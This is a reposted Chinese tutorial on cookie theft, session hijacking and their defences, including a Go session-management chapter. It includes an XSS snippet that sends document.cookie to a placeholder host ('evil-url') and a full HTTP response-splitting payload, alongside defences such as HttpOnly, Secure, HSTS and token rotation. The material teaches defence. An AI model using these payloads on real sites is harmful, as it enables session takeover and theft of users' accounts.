网站安全之——Cookie窃取和 Session劫持
转自：http://shaoshuai.me/tech/2014/08/16/cookie-theft-and-session-hijacking.html
转自：https://github.com/astaxie/build-web-application-with-golang/blob/master/ebook/06.4.md
此篇文章的Presentation戳这里。
一、cookie的基本特性
如果不了解cookie，可以先到wikipedia上学习一下。
httprequest
浏览器向服务器发起的每个请求都会带上cookie：
GET/index.htmlHTTP/1.1
Host:www.example.org
Cookie:foo=value1;bar=value2
Accept:*/*
httpresponse
服务器给浏览器的返回可以设置cookie：
HTTP/1.1200OK
Content-type:text/html
Set-Cookie:name=value
Set-Cookie:name2=value2;Expires=Wed,09June202110:18:32GMT
(contentofpage)
二、cookie有关的术语
sessioncookie
当cookie没有设置超时时间，那么cookie会在浏览器退出时销毁，这种cookie是sessioncookie。
persistentcookie/trackingcookie
设置了超时时间的cookie，会在指定时间销毁，cookie的维持时间可以持续到浏览器退出之后，这种cookie被持久化在浏览器中。
很多站点用cookie跟踪用户的历史记录，例如广告类站点会使用cookie记录浏览过哪些内容，搜索引擎会使用cookie记录历史搜索记录，这时也可以称作trackingcookie，因为它被用于追踪用户行为。
securecookie
服务器端设置cookie的时候，可以指定secure属性，这时cookie只有通过https协议传输的时候才会带到网络请求中，不加密的http请求不会带有securecookie。
设置securecookie的方式举例：
Set-Cookie:foo=bar;Path=/;Secure
HttpOnlycookie
服务器端设置cookie的时候，也可以指定一个HttpOnly属性。
Set-Cookie:foo=bar;Path=/;HttpOnly
设置了这个属性的cookie在javascript中无法获取到，只会在网络传输过程中带到服务器。
third-partycookie
第三方cookie的使用场景通常是iframe，例如www.a.com潜入了一个www.ad.com的广告iframe，那么www.ad.com设置的cookie属于不属于www.a.com，被称作第三方cookie。
supercookie
cookie会从属于一个域名，例如www.a.com，或者属于一个子域，例如b.a.com。但是如果cookie被声明为属于.com会发生什么？这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。
浏览器做出了限制，不允许设置顶级域名cookie(例如.com，.net)和pubicsuffixcookie(例如.co.uk，.com.cn)。
现代主流浏览器都很好的处理了supercookie问题，但是如果有些第三方浏览器使用的顶级域名和publicsuffix列表有问题，那么就可以针对supercookie进行攻击啦。
zombiecookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash，silverlight)，当cookie被删除时，从其他存储中恢复。
evercookie是实现僵尸cookie的主要技术手段。
了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的，但是现代站点很多都需要维持登录态，也就是维持会话。最基本的维持会话的方式是BaseAuth，但是这种方式，用户名和密码在每次请求中都会以明文的方式发送到客户端，很容易受到中间人攻击，存在很大的安全隐患。
所以现在大多数站点采用基于cookie的session管理方式：
用户登陆成功后，设置一个唯一的cookie标识本次会话，基于这个标识进行用户授权。只要请求中带有这个标识，都认为是登录态。
个性化
cookie可以被用于记录一些信息，以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。
以前Google退出的iGoogle产品也是一个典型的例子，用户可以拥有自己的Google自定制主页，其中就使用了cookie。
usertracking
cookie也可以用于追踪用户行为，例如是否访问过本站点，有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。
既然cookie用于维持会话，如果这个cookie被攻击者窃取会发生什么？session被劫持！
攻击者劫持会话就等于合法登录了你的账户，可以浏览大部分用户资源。
最基本的cookie窃取方式：xss漏洞
攻击
一旦站点中存在可利用的xss漏洞，攻击者可直接利用注入的js脚本获取cookie，进而通过异步请求把标识sessionid的cookie上报给攻击者。
varimg=document.createElement('img');
img.src='http://evil-url?c='+encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了，自行google之。
防御
根据上面HttpOnlycookie的介绍，一旦一个cookie被设置为HttpOnly，js脚本就无法再获取到，而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持，但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。
但是上面说的是无法利用xss进行简单的攻击，但是也不是没有办法的。既然无法使用document.cookie获取到，可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击
大家都知道，利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息，其中就包括cookie信息。
如果开发者没有关闭这个页面，就可以利用xss漏洞向这个页面发起异步请求，获取到页面内容后parse出cookie信息，然后上传给攻击者。
phpinfo只是大家最常见的一种dump请求的页面，但不仅限于此，为了调试方便，任何dump请求的页面都是可以被利用的漏洞。
防御
关闭所有phpinfo类dumprequest信息的页面。
XSS+HTTPTRACE=XST
这是一种古老的攻击方式，现在已经消失，写在这里可以扩展一下攻防思路。
httptrace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求，又可以获取session信息了。
之所以说是一种古老的攻击方式，因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。
另外提一点，当浏览器没有禁止异步发起trace的时代，很多开发者都关闭了webserver的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过，用户使用了代理服务器，而代理服务器没有关闭trace支持，这样又可以trace了。
HTTPResponseSplitting
参考1
参考2
通常的XSS攻击都是把输入内容注入到response的content中，HTTPResponseSplitting是一种针对header的注入。
例如，一个站点接受参数做302跳转：
www.example.com/?r=http://baidu.com
request信息：
GET/example.com?r=http://baidu.com\r\n
HTTP/1.1\r\n
Host:example.com\r\n
\r\n
response:
HTTP/1.1302Found\r\n
Location:http://baidu.com\r\n
Content-Type:text/html\r\n
\r\n
这样页面就302跳转到百度了。攻击者利用r参数可以注入header，r参数不是简单的url，而是包含\r\n的header信息：
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response变成了：
HTTP/1.1302Found\r\n
Location:\r\n
HTTP/1.1200OK\r\n
Content-Type:text/html\r\n
X-XSS-Protection:0\r\n
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type:text/html\r\n
\r\n
有两个攻击要点：
指定X=XSS-Protection:0，关闭浏览器的xss保护机制。
注入脚本
防御
针对header的内容做过滤，不能漏掉\r\n，特别是Location，host，referrer等。
说到底，这也是一种XSS攻击，只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等，防御的原则是对所有的输入进行sanitize，包括非用户输入的内容，比如referrer这种一般由浏览器带过来的信息，因为请求完全可以被伪造，未必来自浏览器。
网络监听(networkeavesdropping/networksniffing)
以上是利用上层应用的特性的几种攻击方式，cookie不仅存在于上层应用中，更流转于请求中。上层应用获取不到后，攻击者可以转而从网络请求中获取。
只要是未使用https加密的网站都可以抓包分析，其中就包含了标识session的cookie。当然，完成网络监听需要满足一定的条件，这又是另外一个话题了。常见的方式：
DNS缓存投毒
攻击者把要攻击的域名的一个子域映射到攻击者的server，然后想办法让被攻击者访问这个server(XSSrequest、社会化攻击等)，请求中会带过来所有cookie（包括HttpOnly）。
中间人攻击
常见的攻击方式是搭建免费wifi，把DHCP服务器指定为攻击者ip，在攻击者机器上可以收到所有请求，不仅可以获取cookie，还可以进行脚本注入。
代理服务器/VPN
fanqiang用免费VPN？呵呵。
防御
使用https。使用https协议的请求都被ssl加密，理论上不可破解，即便被网络监听也无法通过解密看到实际的内容。
防御网络监听通常有两种方式：
信道加密
内容加密
https是加密信道，在此信道上传输的内容对中间人都是不可见的。但https是有成本的。
内容加密比较好理解，例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。
那么，使用https的站点就可以高枕无忧了吗？事实上，一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击：双协议
如果同时支持http和https，那么还是可以使用网络监听http请求获取cookie。
防御
只支持https，不支持http。
这样就好了吗？No.
https站点攻击：301重定向
例如www.example.com只支持https协议，当用户直接输入example.com（大部分用户都不会手动输入协议前缀），webserver通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的！而且带了cookie，这样又将cookie明文暴露在网络上了。
防御1
把标识session的cookie设置成secure。上面提到的securecookie，只允许在https上加密传输，在http请求中不会存在，这样就不会暴露在未加密的网络上了。
然后现实很残酷，很多站点根本无法做到所有的请求都走https。原因有很多，可能是成本考虑，可能是业务需求。
防御2
设置Strict-Transport-Securityheader，直接省略这个http请求！用户首次访问后，服务器设置了这个header以后，后面就会省略掉这次http301请求。更多点此
乌云案例
思考
如果偷取cookie失败，无法session劫持，攻击者如何再发起攻击？
劫持session的目的是拿到登录态，从而获得服务器授权做很多请求，例如账户变更。如果劫持不到session，也能够做授权请求不是也达到攻击的目的了？
无需拿到sessioncookie，跨站发起请求就可以了，这就是CSRF！
server通过把用户凭证存储在cookie以维持session，http/https协议每次访问都会自动传输cookie，协议上的缺陷是导致可进行CSRF攻击的根本原因！
防御方式：使用anti-forgerytoken
大部分攻击都是提权行为，最基本的提权通过偷取用户名密码，不成功转而窃取session，窃取不成转而跨站攻击，实在不行重放也可以造成危害
预防session劫持
session劫持是一种广泛存在的比较严重的安全威胁，在session技术中，客户端和服务端通过session的标识符来维护会话，但这个标识符很容易就能被嗅探到，从而被其他人利用.它是中间人攻击的一种类型。
本节将通过一个实例来演示会话劫持，希望通过这个实例，能让读者更好地理解session的本质。
session劫持过程
我们写了如下的代码来展示一个count计数器：
funccount(whttp.ResponseWriter,r*http.Request){
sess:=globalSessions.SessionStart(w,r)
ct:=sess.Get("countnum")
ifct==nil{
sess.Set("countnum",1)
}else{
sess.Set("countnum",(ct.(int)+1))
}
t,_:=template.ParseFiles("count.gtpl")
w.Header().Set("Content-Type","text/html")
t.Execute(w,sess.Get("countnum"))
}
count.gtpl的代码如下所示：
Hi.Nowcount:{{.}}
然后我们在浏览器里面刷新可以看到如下内容：
图6.4浏览器端显示count数
随着刷新，数字将不断增长，当数字显示为6的时候，打开浏览器(以chrome为例）的cookie管理器，可以看到类似如下的信息：
图6.5获取浏览器端保存的cookie
下面这个步骤最为关键:打开另一个浏览器(这里我打开了firefox浏览器),复制chrome地址栏里的地址到新打开的浏览器的地址栏中。然后打开firefox的cookie模拟插件，新建一个cookie，把按上图中cookie内容原样在firefox中重建一份:
图6.6模拟cookie
回车后，你将看到如下内容：
图6.7劫持session成功
可以看到虽然换了浏览器，但是我们却获得了sessionID，然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的，不过即使换用两台来做，其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶，此处firefox盗用了chrome和goserver之间的维持会话的钥匙，即gosessionid，这是一种类型的“会话劫持”。在goserver看来，它从http请求中得到了一个gosessionid，由于HTTP协议的无状态性，它无法得知这个gosessionid是从chrome那里“劫持”来的，它依然会去查找对应的session，并执行相关计算。与此同时chrome也无法得知自己保持的会话已经被“劫持”。
session劫持防范
cookieonly和token
通过上面session劫持的简单演示可以了解到session一旦被其他人劫持，就非常危险，劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢？
其中一个解决方案就是sessionID的值只允许cookie设置，而不是通过URL重置方式设置，同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie，第一这个可以防止这个cookie被XSS读取从而引起session劫持，第二cookie设置不会像URL重置方式那么容易获取sessionID。
第二步就是在每个请求里面加上token，实现类似前面章节里面讲的防止form重复递交类似的功能，我们在每个请求里面加上一个隐藏的token，然后每次验证这个token，从而保证用户的请求都是唯一性。
h:=md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
ifr.Form["token"]!=token{
//提示登录
}
sess.Set("token",token)
间隔生成新的SID
还有一个解决方案就是，我们给session额外设置一个创建时间的值，一旦过了一定的时间，我们销毁这个sessionID，重新生成新的session，这样可以一定程度上防止session劫持的问题。
createtime:=sess.Get("createtime")
ifcreatetime==nil{
sess.Set("createtime",time.Now().Unix())
}elseif(createtime.(int64)+60)<(time.Now().Unix()){
globalSessions.SessionDestroy(w,r)
sess=globalSessions.SessionStart(w,r)
}
session启动后，我们设置了一个值，用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID，这样使得攻击者获取有效sessionID的机会大大降低。
上面两个手段的组合可以在实践中消除session劫持的风险，一方面，由于sessionID频繁改变，使攻击者难有机会获取有效的sessionID；另一方面，因为sessionID只能在cookie中传递，然后设置了httponly，所以基于URL攻击的可能性为零，同时被XSS获取sessionID也不可能。最后，由于我们还设置了MaxAge=0，这样就相当于sessioncookie不会留在浏览器的历史记录里面。